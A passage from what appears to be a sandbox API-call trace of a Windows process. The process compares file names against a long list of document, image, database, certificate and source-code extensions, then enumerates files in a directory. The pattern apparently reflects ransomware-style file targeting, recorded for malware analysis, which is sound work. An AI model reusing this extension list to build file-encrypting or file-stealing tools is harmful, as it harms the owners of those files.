[0061.542] lstrlenW (lpString=".cpp") returned 4 [0061.542] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".cr2") returned 4 [0061.542] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".crt") returned 4 [0061.542] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".crw") returned 4 [0061.542] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".cs") returned 3 [0061.542] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0061.542] lstrlenW (lpString=".css") returned 4 [0061.542] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".csv") returned 4 [0061.542] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".cub") returned 4 [0061.542] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".dae") returned 4 [0061.542] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".dat") returned 4 [0061.542] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".db") returned 3 [0061.542] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0061.542] lstrlenW (lpString=".dbf") returned 4 [0061.542] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".dbx") returned 4 [0061.542] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".dc3") returned 4 [0061.542] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".dcm") returned 4 [0061.543] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0061.543] lstrlenW (lpString=".dcr") returned 4 [0061.543] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0061.543] lstrlenW (lpString=".der") returned 4 [0061.543] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0061.543] lstrlenW (lpString=".dib") returned 4 [0061.543] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0061.543] lstrlenW (lpString=".dic") returned 4 [0061.543] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0061.543] lstrlenW (lpString=".dif") returned 4 [0061.543] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0061.543] lstrlenW (lpString=".divx") returned 5 [0061.543] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0061.543] lstrlenW (lpString=".djvu") returned 5 [0061.543] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0061.543] lstrlenW (lpString=".dng") returned 4 [0061.543] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0061.543] lstrlenW (lpString=".doc") returned 4 [0061.543] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0061.543] lstrlenW (lpString=".docm") returned 5 [0061.543] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0061.543] lstrlenW (lpString=".docx") returned 5 [0061.543] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0061.543] lstrlenW (lpString=".dot") returned 4 [0061.543] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0061.543] lstrlenW (lpString=".dotm") returned 5 [0061.543] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0061.543] lstrlenW (lpString=".dotx") returned 5 [0061.543] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0061.543] lstrlenW (lpString=".dpx") returned 4 [0061.543] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0061.543] lstrlenW (lpString=".dqy") returned 4 [0061.543] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0061.543] lstrlenW (lpString=".dsn") returned 4 [0061.543] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0061.543] lstrlenW (lpString=".dt") returned 3 [0061.543] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0061.544] lstrlenW (lpString=".dtd") returned 4 [0061.544] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0061.544] lstrlenW (lpString=".dwg") returned 4 [0061.544] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0061.544] lstrlenW (lpString=".dwt") returned 4 [0061.544] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0061.544] lstrlenW (lpString=".dx") returned 3 [0061.544] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0061.544] lstrlenW (lpString=".dxf") returned 4 [0061.544] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0061.544] lstrlenW (lpString=".edml") returned 5 [0061.544] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0061.544] lstrlenW (lpString=".efd") returned 4 [0061.544] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0061.544] lstrlenW (lpString=".elf") returned 4 [0061.544] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0061.544] lstrlenW (lpString=".emf") returned 4 [0061.544] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0061.544] lstrlenW (lpString=".emz") returned 4 [0061.544] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0061.544] lstrlenW (lpString=".epf") returned 4 [0061.544] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0061.544] lstrlenW (lpString=".eps") returned 4 [0061.544] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0061.544] lstrlenW (lpString=".epsf") returned 5 [0061.544] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0061.544] lstrlenW (lpString=".epsp") returned 5 [0061.544] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0061.544] lstrlenW (lpString=".erf") returned 4 [0061.544] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0061.544] lstrlenW (lpString=".exr") returned 4 [0061.544] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0061.544] lstrlenW (lpString=".f4v") returned 4 [0061.544] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0061.544] lstrlenW (lpString=".fido") returned 5 [0061.544] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0061.544] lstrlenW (lpString=".flm") returned 4 [0061.544] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".flv") returned 4 [0061.545] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".frm") returned 4 [0061.545] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".fxg") returned 4 [0061.545] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".geo") returned 4 [0061.545] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".gif") returned 4 [0061.545] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".grs") returned 4 [0061.545] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".gz") returned 3 [0061.545] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0061.545] lstrlenW (lpString=".h") returned 2 [0061.545] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0061.545] lstrlenW (lpString=".hdr") returned 4 [0061.545] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".hpp") returned 4 [0061.545] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".hta") returned 4 [0061.545] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".htc") returned 4 [0061.545] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".htm") returned 4 [0061.545] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".html") returned 5 [0061.545] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0061.545] lstrlenW (lpString=".icb") returned 4 [0061.545] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".ics") returned 4 [0061.545] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".iff") returned 4 [0061.545] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".inc") returned 4 [0061.545] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0061.545] lstrlenW (lpString=".indd") returned 5 [0061.546] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0061.546] lstrlenW (lpString=".ini") returned 4 [0061.546] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0061.546] lstrlenW (lpString=".iqy") returned 4 [0061.546] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0061.546] lstrlenW (lpString=".j2c") returned 4 [0061.546] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0061.546] lstrlenW (lpString=".j2k") returned 4 [0061.546] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0061.546] lstrlenW (lpString=".java") returned 5 [0061.546] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0061.546] lstrlenW (lpString=".jp2") returned 4 [0061.546] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0061.546] lstrlenW (lpString=".jpc") returned 4 [0061.546] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0061.546] lstrlenW (lpString=".jpe") returned 4 [0061.546] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0061.546] lstrlenW (lpString=".jpeg") returned 5 [0061.546] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0061.546] lstrlenW (lpString=".jpf") returned 4 [0061.546] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0061.546] lstrlenW (lpString=".jpg") returned 4 [0061.546] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0061.546] lstrlenW (lpString=".jpx") returned 4 [0061.546] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0061.546] lstrlenW (lpString=".js") returned 3 [0061.546] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0061.546] lstrlenW (lpString=".jsf") returned 4 [0061.546] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0061.546] lstrlenW (lpString=".json") returned 5 [0061.546] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0061.546] lstrlenW (lpString=".jsp") returned 4 [0061.546] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0061.546] lstrlenW (lpString=".kdc") returned 4 [0061.546] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0061.546] lstrlenW (lpString=".kmz") returned 4 [0061.546] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0061.546] lstrlenW (lpString=".kwm") returned 4 [0061.547] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".lasso") returned 6 [0061.547] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0061.547] lstrlenW (lpString=".lbi") returned 4 [0061.547] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".lgf") returned 4 [0061.547] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".lgp") returned 4 [0061.547] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".log") returned 4 [0061.547] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".m1v") returned 4 [0061.547] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".m4a") returned 4 [0061.547] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".m4v") returned 4 [0061.547] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".max") returned 4 [0061.547] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".md") returned 3 [0061.547] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0061.547] lstrlenW (lpString=".mda") returned 4 [0061.547] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".mdb") returned 4 [0061.547] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".mde") returned 4 [0061.547] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".mdf") returned 4 [0061.547] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".mdw") returned 4 [0061.547] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".mef") returned 4 [0061.547] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".mft") returned 4 [0061.547] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0061.547] lstrlenW (lpString=".mfw") returned 4 [0061.547] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".mht") returned 4 [0061.548] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".mhtml") returned 6 [0061.548] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0061.548] lstrlenW (lpString=".mka") returned 4 [0061.548] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".mkidx") returned 6 [0061.548] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0061.548] lstrlenW (lpString=".mkv") returned 4 [0061.548] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".mos") returned 4 [0061.548] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".mov") returned 4 [0061.548] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".mp3") returned 4 [0061.548] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".mp4") returned 4 [0061.548] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".mpeg") returned 5 [0061.548] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0061.548] lstrlenW (lpString=".mpg") returned 4 [0061.548] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".mpv") returned 4 [0061.548] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".mrw") returned 4 [0061.548] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".msg") returned 4 [0061.548] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".mxl") returned 4 [0061.548] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".myd") returned 4 [0061.548] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".myi") returned 4 [0061.548] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".nef") returned 4 [0061.548] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0061.548] lstrlenW (lpString=".nrw") returned 4 [0061.548] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".obj") returned 4 [0061.549] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".odb") returned 4 [0061.549] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".odc") returned 4 [0061.549] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".odm") returned 4 [0061.549] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".odp") returned 4 [0061.549] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".ods") returned 4 [0061.549] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".oft") returned 4 [0061.549] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".one") returned 4 [0061.549] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".onepkg") returned 7 [0061.549] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0061.549] lstrlenW (lpString=".onetoc2") returned 8 [0061.549] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0061.549] lstrlenW (lpString=".opt") returned 4 [0061.549] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".oqy") returned 4 [0061.549] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".orf") returned 4 [0061.549] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".p12") returned 4 [0061.549] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".p7b") returned 4 [0061.549] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".p7c") returned 4 [0061.549] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".pam") returned 4 [0061.549] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".pbm") returned 4 [0061.549] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0061.549] lstrlenW (lpString=".pct") returned 4 [0061.550] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0061.550] lstrlenW (lpString=".pcx") returned 4 [0061.550] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0061.550] lstrlenW (lpString=".pdd") returned 4 [0061.550] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0061.550] lstrlenW (lpString=".pdf") returned 4 [0061.550] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0061.550] lstrlenW (lpString=".pdp") returned 4 [0061.550] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0061.550] lstrlenW (lpString=".pef") returned 4 [0061.550] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0061.550] lstrlenW (lpString=".pem") returned 4 [0061.550] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0061.550] lstrlenW (lpString=".pff") returned 4 [0061.550] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0061.550] lstrlenW (lpString=".pfm") returned 4 [0061.550] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0061.550] lstrlenW (lpString=".pfx") returned 4 [0061.550] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0061.550] lstrlenW (lpString=".pgm") returned 4 [0061.550] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0061.550] lstrlenW (lpString=".php") returned 4 [0061.550] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0061.550] lstrlenW (lpString=".php3") returned 5 [0061.550] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0061.550] lstrlenW (lpString=".php4") returned 5 [0061.550] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0061.550] lstrlenW (lpString=".php5") returned 5 [0061.550] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0061.550] lstrlenW (lpString=".phtml") returned 6 [0061.550] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0061.550] lstrlenW (lpString=".pict") returned 5 [0061.550] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0061.550] lstrlenW (lpString=".pl") returned 3 [0061.550] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0061.550] lstrlenW (lpString=".pls") returned 4 [0061.550] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0061.551] lstrlenW (lpString=".pm") returned 3 [0061.551] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0061.551] lstrlenW (lpString=".png") returned 4 [0061.551] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0061.551] lstrlenW (lpString=".pnm") returned 4 [0061.551] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0061.551] lstrlenW (lpString=".pot") returned 4 [0061.551] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0061.551] lstrlenW (lpString=".potm") returned 5 [0061.551] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0061.551] lstrlenW (lpString=".potx") returned 5 [0061.551] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0061.551] lstrlenW (lpString=".ppa") returned 4 [0061.551] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0061.551] lstrlenW (lpString=".ppam") returned 5 [0061.551] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0061.551] lstrlenW (lpString=".ppm") returned 4 [0061.551] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0061.551] lstrlenW (lpString=".pps") returned 4 [0061.551] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0061.551] lstrlenW (lpString=".ppsm") returned 5 [0061.551] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0061.551] lstrlenW (lpString=".ppt") returned 4 [0061.551] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0061.551] lstrlenW (lpString=".pptm") returned 5 [0061.551] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0061.551] lstrlenW (lpString=".pptx") returned 5 [0061.551] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0061.551] lstrlenW (lpString=".prn") returned 4 [0061.551] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0061.551] lstrlenW (lpString=".ps") returned 3 [0061.551] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0061.551] lstrlenW (lpString=".psb") returned 4 [0061.551] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0061.551] lstrlenW (lpString=".psd") returned 4 [0061.551] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0061.551] lstrlenW (lpString=".pst") returned 4 [0061.551] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0061.552] lstrlenW (lpString=".ptx") returned 4 [0061.552] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0061.552] lstrlenW (lpString=".pub") returned 4 [0061.552] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0061.552] lstrlenW (lpString=".pwm") returned 4 [0061.552] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0061.552] lstrlenW (lpString=".pxr") returned 4 [0061.552] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0061.552] lstrlenW (lpString=".py") returned 3 [0061.552] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0061.552] lstrlenW (lpString=".qt") returned 3 [0061.552] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0061.552] lstrlenW (lpString=".r3d") returned 4 [0061.552] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0061.552] lstrlenW (lpString=".raf") returned 4 [0061.552] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0061.552] lstrlenW (lpString=".rar") returned 4 [0061.552] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0061.552] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0061.552] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0061.552] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0061.552] FindClose (in: hFindFile=0x582f48 | out: hFindFile=0x582f48) returned 1 [0061.837] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0061.837] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0061.837] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0061.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26 [0061.837] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583048 [0061.837] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.837] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, 